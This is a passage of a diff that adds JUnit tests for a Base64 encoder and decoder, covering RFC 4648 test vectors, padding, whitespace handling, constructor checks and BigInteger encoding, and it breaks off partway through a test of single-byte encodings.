+        encodedBytes = b64.encode(StringUtils.getBytesUtf8(content));
+        encodedContent = StringUtils.newStringUtf8(encodedBytes);
+        assertEquals("encoding hello world", "SGVsbG8gV29ybGQ=", encodedContent);
+
+        // bogus characters to decode (to skip actually) {e-acute*6}
+        final byte[] decode = b64.decode("SGVsbG{\u00e9\u00e9\u00e9\u00e9\u00e9\u00e9}8gV29ybGQ=");
+        final String decodeString = StringUtils.newStringUtf8(decode);
+        assertEquals("decode hello world", "Hello World", decodeString);
+    }
+
+    /**
+     * Test our decode with pad character in the middle.
+     * (Our current implementation:  halt decode and return what we've got so far).
+     *
+     * The point of this test is not to say "this is the correct way to decode base64."
+     * The point is simply to keep us aware of the current logic since 1.4 so we
+     * don't accidentally break it without realizing.
+     *
+     * Note for historians.  The 1.3 logic would decode to:
+     * "Hello World\u0000Hello World" -- null in the middle ---
+     * and 1.4 unwittingly changed it to current logic.
+     */
+    @Test
+    public void testDecodeWithInnerPad() {
+        final String content = "SGVsbG8gV29ybGQ=SGVsbG8gV29ybGQ=";
+        final byte[] result = Base64.decodeBase64(content);
+        final byte[] shouldBe = StringUtils.getBytesUtf8("Hello World");
+        assertTrue("decode should halt at pad (=)", Arrays.equals(result, shouldBe));
+    }
+
+    /**
+     * Tests Base64.encodeBase64().
+     */
+    @Test
+    public void testChunkedEncodeMultipleOf76() {
+        final byte[] expectedEncode = Base64.encodeBase64(Base64TestData.DECODED, true);
+        // convert to "\r\n" so we're equal to the old openssl encoding test stored
+        // in Base64TestData.ENCODED_76_CHARS_PER_LINE:
+        final String actualResult = Base64TestData.ENCODED_76_CHARS_PER_LINE.replaceAll("\n", "\r\n");
+        final byte[] actualEncode = StringUtils.getBytesUtf8(actualResult);
+        assertTrue("chunkedEncodeMultipleOf76", Arrays.equals(expectedEncode, actualEncode));
+    }
+
+    /**
+     * CODEC-68: isBase64 throws ArrayIndexOutOfBoundsException on some non-BASE64 bytes
+     */
+    @Test
+    public void testCodec68() {
+        final byte[] x = new byte[]{'n', 'A', '=', '=', (byte) 0x9c};
+        Base64.decodeBase64(x);
+    }
+
+    @Test
+    public void testCodeInteger1() {
+        final String encodedInt1 = "li7dzDacuo67Jg7mtqEm2TRuOMU=";
+        final BigInteger bigInt1 = new BigInteger("85739377120809420210425962799" + "0318636601332086981");
+
+        assertEquals(encodedInt1, new String(Base64.encodeInteger(bigInt1)));
+        assertEquals(bigInt1, Base64.decodeInteger(encodedInt1.getBytes(Charsets.UTF_8)));
+    }
+
+    @Test
+    public void testCodeInteger2() {
+        final String encodedInt2 = "9B5ypLY9pMOmtxCeTDHgwdNFeGs=";
+        final BigInteger bigInt2 = new BigInteger("13936727572861167254666467268" + "91466679477132949611");
+
+        assertEquals(encodedInt2, new String(Base64.encodeInteger(bigInt2)));
+        assertEquals(bigInt2, Base64.decodeInteger(encodedInt2.getBytes(Charsets.UTF_8)));
+    }
+
+    @Test
+    public void testCodeInteger3() {
+        final String encodedInt3 = "FKIhdgaG5LGKiEtF1vHy4f3y700zaD6QwDS3IrNVGzNp2" + "rY+1LFWTK6D44AyiC1n8uWz1itkYMZF0/aKDK0Yjg==";
+        final BigInteger bigInt3 = new BigInteger("10806548154093873461951748545"
+            + "1196989136416448805819079363524309897749044958112417136240557"
+            + "4495062430572478766856090958495998158114332651671116876320938126");
+
+        assertEquals(encodedInt3, new String(Base64.encodeInteger(bigInt3)));
+        assertEquals(bigInt3, Base64.decodeInteger(encodedInt3.getBytes(Charsets.UTF_8)));
+    }
+
+    @Test
+    public void testCodeInteger4() {
+        final String encodedInt4 = "ctA8YGxrtngg/zKVvqEOefnwmViFztcnPBYPlJsvh6yKI"
+            + "4iDm68fnp4Mi3RrJ6bZAygFrUIQLxLjV+OJtgJAEto0xAs+Mehuq1DkSFEpP3o"
+            + "DzCTOsrOiS1DwQe4oIb7zVk/9l7aPtJMHW0LVlMdwZNFNNJoqMcT2ZfCPrfvYv"
+            + "Q0=";
+        final BigInteger bigInt4 = new BigInteger("80624726256040348115552042320"
+            + "6968135001872753709424419772586693950232350200555646471175944"
+            + "519297087885987040810778908507262272892702303774422853675597"
+            + "748008534040890923814202286633163248086055216976551456088015"
+            + "338880713818192088877057717530169381044092839402438015097654"
+            + "53542091716518238707344493641683483917");
+
+        assertEquals(encodedInt4, new String(Base64.encodeInteger(bigInt4)));
+        assertEquals(bigInt4, Base64.decodeInteger(encodedInt4.getBytes(Charsets.UTF_8)));
+    }
+
+    @Test
+    public void testCodeIntegerEdgeCases() {
+        // TODO
+    }
+
+    @Test
+    public void testCodeIntegerNull() {
+        try {
+            Base64.encodeInteger(null);
+            fail("Exception not thrown when passing in null to encodeInteger(BigInteger)");
+        } catch (final NullPointerException npe) {
+            // expected
+        } catch (final Exception e) {
+            fail("Incorrect Exception caught when passing in null to encodeInteger(BigInteger)");
+        }
+    }
+
+    @Test
+    public void testConstructors() {
+        Base64 base64;
+        base64 = new Base64();
+        base64 = new Base64(-1);
+        base64 = new Base64(-1, new byte[]{});
+        base64 = new Base64(64, new byte[]{});
+        try {
+            base64 = new Base64(-1, new byte[]{'A'}); // TODO do we need to check sep if len = -1?
+            fail("Should have rejected attempt to use 'A' as a line separator");
+        } catch (final IllegalArgumentException ignored) {
+            // Expected
+        }
+        try {
+            base64 = new Base64(64, new byte[]{'A'});
+            fail("Should have rejected attempt to use 'A' as a line separator");
+        } catch (final IllegalArgumentException ignored) {
+            // Expected
+        }
+        try {
+            base64 = new Base64(64, new byte[]{'='});
+            fail("Should have rejected attempt to use '=' as a line separator");
+        } catch (final IllegalArgumentException ignored) {
+            // Expected
+        }
+        base64 = new Base64(64, new byte[]{'$'}); // OK
+        try {
+            base64 = new Base64(64, new byte[]{'A', '$'});
+            fail("Should have rejected attempt to use 'A$' as a line separator");
+        } catch (final IllegalArgumentException ignored) {
+            // Expected
+        }
+        base64 = new Base64(64, new byte[]{' ', '$', '\n', '\r', '\t'}); // OK
+        assertNotNull(base64);
+    }
+
+    @Test
+    public void testConstructor_Int_ByteArray_Boolean() {
+        final Base64 base64 = new Base64(65, new byte[]{'\t'}, false);
+        final byte[] encoded = base64.encode(Base64TestData.DECODED);
+        String expectedResult = Base64TestData.ENCODED_64_CHARS_PER_LINE;
+        expectedResult = expectedResult.replace('\n', '\t');
+        final String result = StringUtils.newStringUtf8(encoded);
+        assertEquals("new Base64(65, \\t, false)", expectedResult, result);
+    }
+
+    @Test
+    public void testConstructor_Int_ByteArray_Boolean_UrlSafe() {
+        // url-safe variation
+        final Base64 base64 = new Base64(64, new byte[]{'\t'}, true);
+        final byte[] encoded = base64.encode(Base64TestData.DECODED);
+        String expectedResult = Base64TestData.ENCODED_64_CHARS_PER_LINE;
+        expectedResult = expectedResult.replaceAll("=", ""); // url-safe has no == padding.
+        expectedResult = expectedResult.replace('\n', '\t');
+        expectedResult = expectedResult.replace('+', '-');
+        expectedResult = expectedResult.replace('/', '_');
+        final String result = StringUtils.newStringUtf8(encoded);
+        assertEquals("new Base64(64, \\t, true)", result, expectedResult);
+    }
+
+    /**
+     * Tests conditional true branch for "marker0" test.
+     */
+    @Test
+    public void testDecodePadMarkerIndex2() {
+        assertEquals("A", new String(Base64.decodeBase64("QQ==".getBytes(Charsets.UTF_8))));
+    }
+
+    /**
+     * Tests conditional branches for "marker1" test.
+     */
+    @Test
+    public void testDecodePadMarkerIndex3() {
+        assertEquals("AA", new String(Base64.decodeBase64("QUE=".getBytes(Charsets.UTF_8))));
+        assertEquals("AAA", new String(Base64.decodeBase64("QUFB".getBytes(Charsets.UTF_8))));
+    }
+
+    @Test
+    public void testDecodePadOnly() {
+        assertEquals(0, Base64.decodeBase64("====".getBytes(Charsets.UTF_8)).length);
+        assertEquals("", new String(Base64.decodeBase64("====".getBytes(Charsets.UTF_8))));
+        // Test truncated padding
+        assertEquals(0, Base64.decodeBase64("===".getBytes(Charsets.UTF_8)).length);
+        assertEquals(0, Base64.decodeBase64("==".getBytes(Charsets.UTF_8)).length);
+        assertEquals(0, Base64.decodeBase64("=".getBytes(Charsets.UTF_8)).length);
+        assertEquals(0, Base64.decodeBase64("".getBytes(Charsets.UTF_8)).length);
+    }
+
+    @Test
+    public void testDecodePadOnlyChunked() {
+        assertEquals(0, Base64.decodeBase64("====\n".getBytes(Charsets.UTF_8)).length);
+        assertEquals("", new String(Base64.decodeBase64("====\n".getBytes(Charsets.UTF_8))));
+        // Test truncated padding
+        assertEquals(0, Base64.decodeBase64("===\n".getBytes(Charsets.UTF_8)).length);
+        assertEquals(0, Base64.decodeBase64("==\n".getBytes(Charsets.UTF_8)).length);
+        assertEquals(0, Base64.decodeBase64("=\n".getBytes(Charsets.UTF_8)).length);
+        assertEquals(0, Base64.decodeBase64("\n".getBytes(Charsets.UTF_8)).length);
+    }
+
+    @Test
+    public void testDecodeWithWhitespace() throws Exception {
+
+        final String orig = "I am a late night coder.";
+
+        final byte[] encodedArray = Base64.encodeBase64(orig.getBytes(Charsets.UTF_8));
+        final StringBuilder intermediate = new StringBuilder(new String(encodedArray));
+
+        intermediate.insert(2, ' ');
+        intermediate.insert(5, '\t');
+        intermediate.insert(10, '\r');
+        intermediate.insert(15, '\n');
+
+        final byte[] encodedWithWS = intermediate.toString().getBytes(Charsets.UTF_8);
+        final byte[] decodedWithWS = Base64.decodeBase64(encodedWithWS);
+
+        final String dest = new String(decodedWithWS);
+
+        assertEquals("Dest string doesn't equal the original", orig, dest);
+    }
+
+    /**
+     * Test encode and decode of empty byte array.
+     */
+    @Test
+    public void testEmptyBase64() {
+        byte[] empty = new byte[0];
+        byte[] result = Base64.encodeBase64(empty);
+        assertEquals("empty base64 encode", 0, result.length);
+        assertEquals("empty base64 encode", null, Base64.encodeBase64(null));
+
+        empty = new byte[0];
+        result = Base64.decodeBase64(empty);
+        assertEquals("empty base64 decode", 0, result.length);
+        assertEquals("empty base64 encode", null, Base64.decodeBase64((byte[]) null));
+    }
+
+    // encode/decode a large random array
+    @Test
+    public void testEncodeDecodeRandom() {
+        for (int i = 1; i < 5; i++) {
+            final byte[] data = new byte[this.getRandom().nextInt(10000) + 1];
+            this.getRandom().nextBytes(data);
+            final byte[] enc = Base64.encodeBase64(data);
+            assertTrue(Base64.isBase64(enc));
+            final byte[] data2 = Base64.decodeBase64(enc);
+            assertTrue(Arrays.equals(data, data2));
+        }
+    }
+
+    // encode/decode random arrays from size 0 to size 11
+    @Test
+    public void testEncodeDecodeSmall() {
+        for (int i = 0; i < 12; i++) {
+            final byte[] data = new byte[i];
+            this.getRandom().nextBytes(data);
+            final byte[] enc = Base64.encodeBase64(data);
+            assertTrue("\"" + new String(enc) + "\" is Base64 data.", Base64.isBase64(enc));
+            final byte[] data2 = Base64.decodeBase64(enc);
+            assertTrue(toString(data) + " equals " + toString(data2), Arrays.equals(data, data2));
+        }
+    }
+
+    @Test
+    public void testEncodeOverMaxSize() throws Exception {
+        testEncodeOverMaxSize(-1);
+        testEncodeOverMaxSize(0);
+        testEncodeOverMaxSize(1);
+        testEncodeOverMaxSize(2);
+    }
+
+    @Test
+    public void testCodec112() { // size calculation assumes always chunked
+        final byte[] in = new byte[] {0};
+        final byte[] out=Base64.encodeBase64(in);
+        Base64.encodeBase64(in, false, false, out.length);
+    }
+
+    private void testEncodeOverMaxSize(final int maxSize) throws Exception {
+        try {
+            Base64.encodeBase64(Base64TestData.DECODED, true, false, maxSize);
+            fail("Expected " + IllegalArgumentException.class.getName());
+        } catch (final IllegalArgumentException e) {
+            // Expected
+        }
+    }
+
+    @Test
+    public void testIgnoringNonBase64InDecode() throws Exception {
+        assertEquals("The quick brown fox jumped over the lazy dogs.", new String(Base64
+                .decodeBase64("VGhlIH@$#$@%F1aWN@#@#@@rIGJyb3duIGZve\n\r\t%#%#%#%CBqd##$#$W1wZWQgb3ZlciB0aGUgbGF6eSBkb2dzLg==".getBytes(Charsets.UTF_8))));
+    }
+
+    @Test
+    public void testIsArrayByteBase64() {
+        assertFalse(Base64.isBase64(new byte[]{Byte.MIN_VALUE}));
+        assertFalse(Base64.isBase64(new byte[]{-125}));
+        assertFalse(Base64.isBase64(new byte[]{-10}));
+        assertFalse(Base64.isBase64(new byte[]{0}));
+        assertFalse(Base64.isBase64(new byte[]{64, Byte.MAX_VALUE}));
+        assertFalse(Base64.isBase64(new byte[]{Byte.MAX_VALUE}));
+        assertTrue(Base64.isBase64(new byte[]{'A'}));
+        assertFalse(Base64.isBase64(new byte[]{'A', Byte.MIN_VALUE}));
+        assertTrue(Base64.isBase64(new byte[]{'A', 'Z', 'a'}));
+        assertTrue(Base64.isBase64(new byte[]{'/', '=', '+'}));
+        assertFalse(Base64.isBase64(new byte[]{'$'}));
+    }
+
+    /**
+     * Tests isUrlSafe.
+     */
+    @Test
+    public void testIsUrlSafe() {
+        final Base64 base64Standard = new Base64(false);
+        final Base64 base64URLSafe = new Base64(true);
+
+        assertFalse("Base64.isUrlSafe=false", base64Standard.isUrlSafe());
+        assertTrue("Base64.isUrlSafe=true", base64URLSafe.isUrlSafe());
+
+        final byte[] whiteSpace = {' ', '\n', '\r', '\t'};
+        assertTrue("Base64.isBase64(whiteSpace)=true", Base64.isBase64(whiteSpace));
+    }
+
+    @Test
+    public void testKnownDecodings() {
+        assertEquals("The quick brown fox jumped over the lazy dogs.", new String(Base64
+                .decodeBase64("VGhlIHF1aWNrIGJyb3duIGZveCBqdW1wZWQgb3ZlciB0aGUgbGF6eSBkb2dzLg==".getBytes(Charsets.UTF_8))));
+        assertEquals("It was the best of times, it was the worst of times.", new String(Base64
+                .decodeBase64("SXQgd2FzIHRoZSBiZXN0IG9mIHRpbWVzLCBpdCB3YXMgdGhlIHdvcnN0IG9mIHRpbWVzLg==".getBytes(Charsets.UTF_8))));
+        assertEquals("http://jakarta.apache.org/commmons", new String(Base64
+                .decodeBase64("aHR0cDovL2pha2FydGEuYXBhY2hlLm9yZy9jb21tbW9ucw==".getBytes(Charsets.UTF_8))));
+        assertEquals("AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz", new String(Base64
+                .decodeBase64("QWFCYkNjRGRFZUZmR2dIaElpSmpLa0xsTW1Obk9vUHBRcVJyU3NUdFV1VnZXd1h4WXlaeg==".getBytes(Charsets.UTF_8))));
+        assertEquals("{ 0, 1, 2, 3, 4, 5, 6, 7, 8, 9 }", new String(Base64.decodeBase64("eyAwLCAxLCAyLCAzLCA0LCA1LCA2LCA3LCA4LCA5IH0="
+                .getBytes(Charsets.UTF_8))));
+        assertEquals("xyzzy!", new String(Base64.decodeBase64("eHl6enkh".getBytes(Charsets.UTF_8))));
+    }
+
+    @Test
+    public void testKnownEncodings() {
+        assertEquals("VGhlIHF1aWNrIGJyb3duIGZveCBqdW1wZWQgb3ZlciB0aGUgbGF6eSBkb2dzLg==", new String(Base64
+                .encodeBase64("The quick brown fox jumped over the lazy dogs.".getBytes(Charsets.UTF_8))));
+        assertEquals(
+                "YmxhaCBibGFoIGJsYWggYmxhaCBibGFoIGJsYWggYmxhaCBibGFoIGJsYWggYmxhaCBibGFoIGJs\r\nYWggYmxhaCBibGFoIGJsYWggYmxhaCBibGFoIGJsYWggYmxhaCBibGFoIGJsYWggYmxhaCBibGFo\r\nIGJsYWggYmxhaCBibGFoIGJsYWggYmxhaCBibGFoIGJsYWggYmxhaCBibGFoIGJsYWggYmxhaCBi\r\nbGFoIGJsYWg=\r\n",
+                new String(
+                        Base64
+                                .encodeBase64Chunked("blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah"
+                                        .getBytes(Charsets.UTF_8))));
+        assertEquals("SXQgd2FzIHRoZSBiZXN0IG9mIHRpbWVzLCBpdCB3YXMgdGhlIHdvcnN0IG9mIHRpbWVzLg==", new String(Base64
+                .encodeBase64("It was the best of times, it was the worst of times.".getBytes(Charsets.UTF_8))));
+        assertEquals("aHR0cDovL2pha2FydGEuYXBhY2hlLm9yZy9jb21tbW9ucw==", new String(Base64
+                .encodeBase64("http://jakarta.apache.org/commmons".getBytes(Charsets.UTF_8))));
+        assertEquals("QWFCYkNjRGRFZUZmR2dIaElpSmpLa0xsTW1Obk9vUHBRcVJyU3NUdFV1VnZXd1h4WXlaeg==", new String(Base64
+                .encodeBase64("AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz".getBytes(Charsets.UTF_8))));
+        assertEquals("eyAwLCAxLCAyLCAzLCA0LCA1LCA2LCA3LCA4LCA5IH0=", new String(Base64.encodeBase64("{ 0, 1, 2, 3, 4, 5, 6, 7, 8, 9 }"
+                .getBytes(Charsets.UTF_8))));
+        assertEquals("eHl6enkh", new String(Base64.encodeBase64("xyzzy!".getBytes(Charsets.UTF_8))));
+    }
+
+    @Test
+    public void testNonBase64Test() throws Exception {
+
+        final byte[] bArray = {'%'};
+
+        assertFalse("Invalid Base64 array was incorrectly validated as " + "an array of Base64 encoded data", Base64
+                .isBase64(bArray));
+
+        try {
+            final Base64 b64 = new Base64();
+            final byte[] result = b64.decode(bArray);
+
+            assertEquals("The result should be empty as the test encoded content did " + "not contain any valid base 64 characters",
+                    0, result.length);
+        } catch (final Exception e) {
+            fail("Exception was thrown when trying to decode "
+                + "invalid base64 encoded data - RFC 2045 requires that all "
+                + "non base64 character be discarded, an exception should not"
+                + " have been thrown");
+        }
+    }
+
+    @Test
+    public void testObjectDecodeWithInvalidParameter() throws Exception {
+        final Base64 b64 = new Base64();
+
+        try {
+            b64.decode(Integer.valueOf(5));
+            fail("decode(Object) didn't throw an exception when passed an Integer object");
+        } catch (final DecoderException e) {
+            // ignored
+        }
+
+    }
+
+    @Test
+    public void testObjectDecodeWithValidParameter() throws Exception {
+
+        final String original = "Hello World!";
+        final Object o = Base64.encodeBase64(original.getBytes(Charsets.UTF_8));
+
+        final Base64 b64 = new Base64();
+        final Object oDecoded = b64.decode(o);
+        final byte[] baDecoded = (byte[]) oDecoded;
+        final String dest = new String(baDecoded);
+
+        assertEquals("dest string does not equal original", original, dest);
+    }
+
+    @Test
+    public void testObjectEncodeWithInvalidParameter() throws Exception {
+        final Base64 b64 = new Base64();
+        try {
+            b64.encode("Yadayadayada");
+            fail("encode(Object) didn't throw an exception when passed a String object");
+        } catch (final EncoderException e) {
+            // Expected
+        }
+    }
+
+    @Test
+    public void testObjectEncodeWithValidParameter() throws Exception {
+
+        final String original = "Hello World!";
+        final Object origObj = original.getBytes(Charsets.UTF_8);
+
+        final Base64 b64 = new Base64();
+        final Object oEncoded = b64.encode(origObj);
+        final byte[] bArray = Base64.decodeBase64((byte[]) oEncoded);
+        final String dest = new String(bArray);
+
+        assertEquals("dest string does not equal original", original, dest);
+    }
+
+    @Test
+    public void testObjectEncode() throws Exception {
+        final Base64 b64 = new Base64();
+        assertEquals("SGVsbG8gV29ybGQ=", new String(b64.encode("Hello World".getBytes(Charsets.UTF_8))));
+    }
+
+    @Test
+    public void testPairs() {
+        assertEquals("AAA=", new String(Base64.encodeBase64(new byte[]{0, 0})));
+        for (int i = -128; i <= 127; i++) {
+            final byte test[] = {(byte) i, (byte) i};
+            assertTrue(Arrays.equals(test, Base64.decodeBase64(Base64.encodeBase64(test))));
+        }
+    }
+
+    /**
+     * Tests RFC 2045 section 2.1 CRLF definition.
+     */
+    @Test
+    public void testRfc2045Section2Dot1CrLfDefinition() {
+        assertTrue(Arrays.equals(new byte[]{13, 10}, Base64.CHUNK_SEPARATOR));
+    }
+
+    /**
+     * Tests RFC 2045 section 6.8 chuck size definition.
+     */
+    @Test
+    public void testRfc2045Section6Dot8ChunkSizeDefinition() {
+        assertEquals(76, BaseNCodec.MIME_CHUNK_SIZE);
+    }
+
+    /**
+     * Tests RFC 1421 section 4.3.2.4 chuck size definition.
+     */
+    @Test
+    public void testRfc1421Section6Dot8ChunkSizeDefinition() {
+        assertEquals(64, BaseNCodec.PEM_CHUNK_SIZE);
+    }
+
+    /**
+     * Tests RFC 4648 section 10 test vectors.
+     * <ul>
+     * <li>BASE64("") = ""</li>
+     * <li>BASE64("f") = "Zg=="</li>
+     * <li>BASE64("fo") = "Zm8="</li>
+     * <li>BASE64("foo") = "Zm9v"</li>
+     * <li>BASE64("foob") = "Zm9vYg=="</li>
+     * <li>BASE64("fooba") = "Zm9vYmE="</li>
+     * <li>BASE64("foobar") = "Zm9vYmFy"</li>
+     * </ul>
+     *
+     * @see <a href="http://tools.ietf.org/html/rfc4648">http://tools.ietf.org/html/rfc4648</a>
+     */
+    @Test
+    public void testRfc4648Section10Decode() {
+        assertEquals("", StringUtils.newStringUsAscii(Base64.decodeBase64("")));
+        assertEquals("f", StringUtils.newStringUsAscii(Base64.decodeBase64("Zg==")));
+        assertEquals("fo", StringUtils.newStringUsAscii(Base64.decodeBase64("Zm8=")));
+        assertEquals("foo", StringUtils.newStringUsAscii(Base64.decodeBase64("Zm9v")));
+        assertEquals("foob", StringUtils.newStringUsAscii(Base64.decodeBase64("Zm9vYg==")));
+        assertEquals("fooba", StringUtils.newStringUsAscii(Base64.decodeBase64("Zm9vYmE=")));
+        assertEquals("foobar", StringUtils.newStringUsAscii(Base64.decodeBase64("Zm9vYmFy")));
+    }
+
+    /**
+     * Tests RFC 4648 section 10 test vectors.
+     * <ul>
+     * <li>BASE64("") = ""</li>
+     * <li>BASE64("f") = "Zg=="</li>
+     * <li>BASE64("fo") = "Zm8="</li>
+     * <li>BASE64("foo") = "Zm9v"</li>
+     * <li>BASE64("foob") = "Zm9vYg=="</li>
+     * <li>BASE64("fooba") = "Zm9vYmE="</li>
+     * <li>BASE64("foobar") = "Zm9vYmFy"</li>
+     * </ul>
+     *
+     * @see <a href="http://tools.ietf.org/html/rfc4648">http://tools.ietf.org/html/rfc4648</a>
+     */
+    @Test
+    public void testRfc4648Section10DecodeWithCrLf() {
+        final String CRLF = StringUtils.newStringUsAscii(Base64.CHUNK_SEPARATOR);
+        assertEquals("", StringUtils.newStringUsAscii(Base64.decodeBase64("" + CRLF)));
+        assertEquals("f", StringUtils.newStringUsAscii(Base64.decodeBase64("Zg==" + CRLF)));
+        assertEquals("fo", StringUtils.newStringUsAscii(Base64.decodeBase64("Zm8=" + CRLF)));
+        assertEquals("foo", StringUtils.newStringUsAscii(Base64.decodeBase64("Zm9v" + CRLF)));
+        assertEquals("foob", StringUtils.newStringUsAscii(Base64.decodeBase64("Zm9vYg==" + CRLF)));
+        assertEquals("fooba", StringUtils.newStringUsAscii(Base64.decodeBase64("Zm9vYmE=" + CRLF)));
+        assertEquals("foobar", StringUtils.newStringUsAscii(Base64.decodeBase64("Zm9vYmFy" + CRLF)));
+    }
+
+    /**
+     * Tests RFC 4648 section 10 test vectors.
+     * <ul>
+     * <li>BASE64("") = ""</li>
+     * <li>BASE64("f") = "Zg=="</li>
+     * <li>BASE64("fo") = "Zm8="</li>
+     * <li>BASE64("foo") = "Zm9v"</li>
+     * <li>BASE64("foob") = "Zm9vYg=="</li>
+     * <li>BASE64("fooba") = "Zm9vYmE="</li>
+     * <li>BASE64("foobar") = "Zm9vYmFy"</li>
+     * </ul>
+     *
+     * @see <a href="http://tools.ietf.org/html/rfc4648">http://tools.ietf.org/html/rfc4648</a>
+     */
+    @Test
+    public void testRfc4648Section10Encode() {
+        assertEquals("", Base64.encodeBase64String(StringUtils.getBytesUtf8("")));
+        assertEquals("Zg==", Base64.encodeBase64String(StringUtils.getBytesUtf8("f")));
+        assertEquals("Zm8=", Base64.encodeBase64String(StringUtils.getBytesUtf8("fo")));
+        assertEquals("Zm9v", Base64.encodeBase64String(StringUtils.getBytesUtf8("foo")));
+        assertEquals("Zm9vYg==", Base64.encodeBase64String(StringUtils.getBytesUtf8("foob")));
+        assertEquals("Zm9vYmE=", Base64.encodeBase64String(StringUtils.getBytesUtf8("fooba")));
+        assertEquals("Zm9vYmFy", Base64.encodeBase64String(StringUtils.getBytesUtf8("foobar")));
+    }
+
+    /**
+     * Tests RFC 4648 section 10 test vectors.
+     * <ul>
+     * <li>BASE64("") = ""</li>
+     * <li>BASE64("f") = "Zg=="</li>
+     * <li>BASE64("fo") = "Zm8="</li>
+     * <li>BASE64("foo") = "Zm9v"</li>
+     * <li>BASE64("foob") = "Zm9vYg=="</li>
+     * <li>BASE64("fooba") = "Zm9vYmE="</li>
+     * <li>BASE64("foobar") = "Zm9vYmFy"</li>
+     * </ul>
+     *
+     * @see <a href="http://tools.ietf.org/html/rfc4648">http://tools.ietf.org/html/rfc4648</a>
+     */
+    @Test
+    public void testRfc4648Section10DecodeEncode() {
+        testDecodeEncode("");
+        testDecodeEncode("Zg==");
+        testDecodeEncode("Zm8=");
+        testDecodeEncode("Zm9v");
+        testDecodeEncode("Zm9vYg==");
+        testDecodeEncode("Zm9vYmE=");
+        testDecodeEncode("Zm9vYmFy");
+    }
+
+    private void testDecodeEncode(final String encodedText) {
+        final String decodedText = StringUtils.newStringUsAscii(Base64.decodeBase64(encodedText));
+        final String encodedText2 = Base64.encodeBase64String(StringUtils.getBytesUtf8(decodedText));
+        assertEquals(encodedText, encodedText2);
+    }
+
+    /**
+     * Tests RFC 4648 section 10 test vectors.
+     * <ul>
+     * <li>BASE64("") = ""</li>
+     * <li>BASE64("f") = "Zg=="</li>
+     * <li>BASE64("fo") = "Zm8="</li>
+     * <li>BASE64("foo") = "Zm9v"</li>
+     * <li>BASE64("foob") = "Zm9vYg=="</li>
+     * <li>BASE64("fooba") = "Zm9vYmE="</li>
+     * <li>BASE64("foobar") = "Zm9vYmFy"</li>
+     * </ul>
+     *
+     * @see <a href="http://tools.ietf.org/html/rfc4648">http://tools.ietf.org/html/rfc4648</a>
+     */
+    @Test
+    public void testRfc4648Section10EncodeDecode() {
+        testEncodeDecode("");
+        testEncodeDecode("f");
+        testEncodeDecode("fo");
+        testEncodeDecode("foo");
+        testEncodeDecode("foob");
+        testEncodeDecode("fooba");
+        testEncodeDecode("foobar");
+    }
+
+    private void testEncodeDecode(final String plainText) {
+        final String encodedText = Base64.encodeBase64String(StringUtils.getBytesUtf8(plainText));
+        final String decodedText = StringUtils.newStringUsAscii(Base64.decodeBase64(encodedText));
+        assertEquals(plainText, decodedText);
+    }
+
+    @Test
+    public void testSingletons() {
+        assertEquals("AA==", new String(Base64.encodeBase64(new byte[]{(byte) 0})));
+        assertEquals("AQ==", new String(Base64.encodeBase64(new byte[]{(byte) 1})));
+        assertEquals("Ag==", new String(Base64.encodeBase64(new byte[]{(byte) 2})));
+        assertEquals("Aw==", new String(Base64.encodeBase64(new byte[]{(byte) 3})));
+        assertEquals("BA==", new String(Base64.encodeBase64(new byte[]{(byte) 4})));
+        assertEquals("BQ==", new String(Base64.encodeBase64(new byte[]{(byte) 5})));
+        assertEquals("Bg==", new String(Base64.encodeBase64(new byte[]{(byte) 6})));
+        assertEquals("Bw==", new String(Base64.encodeBase64(new byte[]{(byte) 7})));
+        assertEquals("CA==", new String(Base64.encodeBase64(new byte[]{(byte) 8})));
+        assertEquals("CQ==", new String(Base64.encodeBase64(new byte[]{(byte) 9})));
+        assertEquals("Cg==", new String(Base64.encodeBase64(new byte[]{(byte) 10})));
+        assertEquals("Cw==", new String(Base64.encodeBase64(new byte[]{(byte) 11})));
+        assertEquals("DA==", new String(Base64.encodeBase64(new byte[]{(byte) 12})));
+        assertEquals("DQ==", new String(Base64.encodeBase64(new byte[]{(byte) 13})));
+        assertEquals("Dg==", new String(Base64.encodeBase64(new byte[]{(byte) 14})));
+        assertEquals("Dw==", new String(Base64.encodeBase64(new byte[]{(byte) 15})));
+        assertEquals("EA==", new String(Base64.encodeBase64(new byte[]{(byte) 16})));
+        assertEquals("EQ==", new String(Base64.encodeBase64(new byte[]{(byte) 17})));
+        assertEquals("Eg==", new String(Base64.encodeBase64(new byte[]{(byte) 18})));
+        assertEquals("Ew==", new String(Base64.encodeBase64(new byte[]{(byte) 19})));
+        assertEquals("FA==", new String(Base64.encodeBase64(new byte[]{(byte) 20})));
+        assertEquals("FQ==", new String(Base64.encodeBase64(new byte[]{(byte) 21})));
+        assertEquals("Fg==", new String(Base64.encodeBase64(new byte[]{(byte) 22})));
+        assertEquals("Fw==", new String(Base64.encodeBase64(new byte[]{(byte) 23})));
+        assertEquals("GA==", new String(Base64.encodeBase64(new byte[]{(byte) 24})));
+        assertEquals("GQ==", new String(Base64.encodeBase64(new byte[]{(byte) 25})));
+        assertEquals("Gg==", new String(Base64.encodeBase64(new byte[]{(byte) 26})));
+        assertEquals("Gw==", new String(Base64.encodeBase64(new byte[]{(byte) 27})));
+        assertEquals("HA==", new String(Base64.encodeBase64(new byte[]{(byte) 28})));
+        assertEquals("HQ==", new String(Base64.encodeBase64(new byte[]{(byte) 29})));
+        assertEquals("Hg==", new String(Base64.encodeBase64(new byte[]{(byte) 30})));
+        assertEquals("Hw==", new String(Base64.encodeBase64(new byte[]{(byte) 31})));
+        assertEquals("IA==", new String(Base64.encodeBase64(new byte[]{(byte) 32})));
+        assertEquals("IQ==", new String(Base64.encodeBase64(new byte[]{(byte) 33})));
+        assertEquals("Ig==", new String(Base64.encodeBase64(new byte[]{(byte) 34})));
+        assertEquals("Iw==", new String(Base64.encodeBase64(new byte[]{(byte) 35})));
+        assertEquals("JA==", new String(Base64.encodeBase64(new byte[]{(byte) 36})));
+        assertEquals("JQ==", new String(Base64.encodeBase64(new byte[]{(byte) 37})));
+        assertEquals("Jg==", new String(Base64.encodeBase64(new byte[]{(byte) 38})));
+        assertEquals("Jw==", new String(Base64.encodeBase64(new byte[]{(byte) 39})));
+        assertEquals("KA==", new String(Base64.encodeBase64(new byte[]{(byte) 40})));
+        assertEquals("KQ==", new String(Base64.encodeBase64(new byte[]{(byte) 41})));
